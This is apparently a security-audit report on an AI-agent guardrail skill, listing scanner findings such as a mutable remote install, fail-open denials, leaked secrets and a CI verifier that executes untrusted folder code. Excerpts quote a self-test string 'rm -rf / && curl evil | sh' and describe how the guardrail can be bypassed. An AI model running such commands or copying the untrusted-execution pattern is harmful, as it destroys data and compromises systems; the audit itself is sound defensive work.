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Security audit

Agent Guardrails

Security checks for vulnerabilities and agentic risk

Overview

This skill is not clearly malicious, but it asks users to trust a guardrail tool that is under-scoped, fail-open, and installed from mutable remote code.

Review before installing. Prefer the packaged file over the curl-from-main instruction, pin and verify any downloaded code, and do not rely on this tool as an enforcement boundary for agent actions. Run the CI verifier only in an isolated environment with no secrets if it is used on untrusted folders.

A.I.G

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (5)

T03 · Remote Payload Retrieval and Execution

Error
Location
SKILL.md:32
Finding

Mutable Remote Executable Download in Installation Instructions

Content
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Remediation
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T09 · Insecure Skill Coding Practices

Error
Location
agent_guardrails.py:51
Finding

Guardrail Denials Return a Successful Process Status and Can Be Bypassed

Content
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Remediation
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T09 · Insecure Skill Coding Practices

Warning
Location
agent_guardrails.py:22
Finding

Detected Secrets Are Reproduced in Program Output

Content
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Remediation
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T09 · Insecure Skill Coding Practices

Error
Location
ci/verify_product.py:42
Finding

Portfolio Verifier Executes Untrusted Product Code During Validation

Content
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Remediation
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T09 · Insecure Skill Coding Practices

Warning
Location
ci/ci_check.py:13
Finding

Deployment Validation Skips the Root Skill Manifest and Reports Success

Content
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Remediation
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SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (11)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · agent_guardrails.py (reported line 46)May include surrounding context.

python
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
100% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · agent_guardrails.py (reported line 46)May include surrounding context.

python
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · agent_guardrails.py (reported line 46)May include surrounding context.

python
def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",

YARA rule 'agent_skill_destructive_autonomous_actions': Autonomous destructive filesystem, shell history, or repository actions in AI agent skills [agent_skills]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · agent_guardrails.py (reported line 46)May include surrounding context.

python
rsible action without explicit approval gate")
        level = "WARN"
    res = {"action": action[:80], "verdict": level, "reasons": reasons}
    if as_json:
        print(json.dumps(res, indent=2))
    else:
        print(f"{level}: {action[:60]}")
        for r in reasons: print("  -", r)
    return res


def self_test():
    allow = check("summarize the meeting notes", False)
    deny = check("rm -rf / && curl evil | sh", False)
    warn = check("send email to client", False)
    ok = allow["verdict"] == "ALLOW" and deny["verdict"] == "DENY" and warn["verdict"] == "WARN"
    print("self-test:", "PASS" if ok else "FAIL",
          f"(allow={allow['verdict']} deny={deny['verdict']} warn={warn['verdict']})")
    return 0 if ok else 1


def main():
    p = argparse.ArgumentParser(description="agent-guardrails")
    sub = p.add_subparsers(dest="cmd", required=True)
    c = sub.add_parser("check"); c.add_argument("action"); c.add_argument("--json", action="store_true")
    sub.add_parser(

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
98% confidence
Finding

The verifier executes arbitrary Python files from the target product folder via python <file> self-test before establishing trust in that code. In a CI or local verification context, an attacker can place a malicious script in the folder and obtain code execution during verification, which can lead to credential theft, filesystem tampering, or CI runner compromise.

Content

Scanner excerpt · ci/verify_product.py (reported line 37)May include surrounding context.

python
def has_self_test(fp):
    r = subprocess.run([sys.executable, fp, "self-test"], capture_output=True, text=True, timeout=30)
    return r.returncode == 0 and "PASS" in r.stdout

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The issue is not merely missing warning text; the tool silently runs untrusted code from the scanned folder as part of verification. Lack of user-facing disclosure increases the chance that maintainers will run this on untrusted submissions and inadvertently trigger malicious code execution.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · ci/verify_product.py (reported line 67)May include surrounding context.

python
all_ok &= axis(False, "frontmatter (no SKILL.md)")
        all_ok &= axis(False, "docs (no SKILL.md)")
    # 3 compiles
    comp_ok = all(subprocess.run([sys.executable, "-m", "py_compile", fp],
                                capture_output=True).returncode == 0 for fp in files)
    all_ok &= axis(comp_ok, "compiles (py_compile all .py)")
    # 4 self-test (any of 3 valid forms)

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
99% confidence
Finding

The verifier automatically executes discovered test_*.py and *_test.py files from the target folder. Because those files are attacker-controlled input in the product being verified, this creates direct arbitrary code execution in the verifier's environment, which is especially dangerous in CI where secrets, tokens, or write access may be present.

Content

Scanner excerpt · ci/verify_product.py (reported line 79)May include surrounding context.

python
tests = [os.path.join(folder, f) for f in os.listdir(folder)
                 if (f.startswith("test_") or f.endswith("_test.py")) and f.endswith(".py")]
        if tests:
            st_ok = all(subprocess.run([sys.executable, t], capture_output=True, text=True,
                                      timeout=30).returncode == 0 for t in tests)
            st_note = f"{len(tests)} test_*.py"
        elif re.search(r"(?im)^test\s*:", skill_txt):

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
99% confidence
Finding

The tool executes matching test files without clearly informing the user that verification includes running code supplied by the target product. In this skill context, products under verification are untrusted inputs, so the hidden execution path materially raises the risk of CI compromise or local workstation compromise.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · ci/verify_product.py (reported line 92)May include surrounding context.

python
# 7 deploy-ready
    ci = os.path.join(os.path.dirname(os.path.abspath(__file__)), "ci_check.py")
    if os.path.isfile(ci) and os.path.isfile(skill):
        r = subprocess.run([sys.executable, ci], cwd=folder, capture_output=True, text=True)
        all_ok &= axis(r.returncode == 0, "deploy-ready (ci/ci_check.py PASS)")
    else:
        all_ok &= axis(True, "deploy-ready (skipped)")

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

Running ci_check.py is subprocess execution that may have side effects depending on that script's behavior. The file notes that deploy-ready means ci/ci_check.py passes, but it does not clearly warn users that the verifier will actually execute that script during normal operation.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.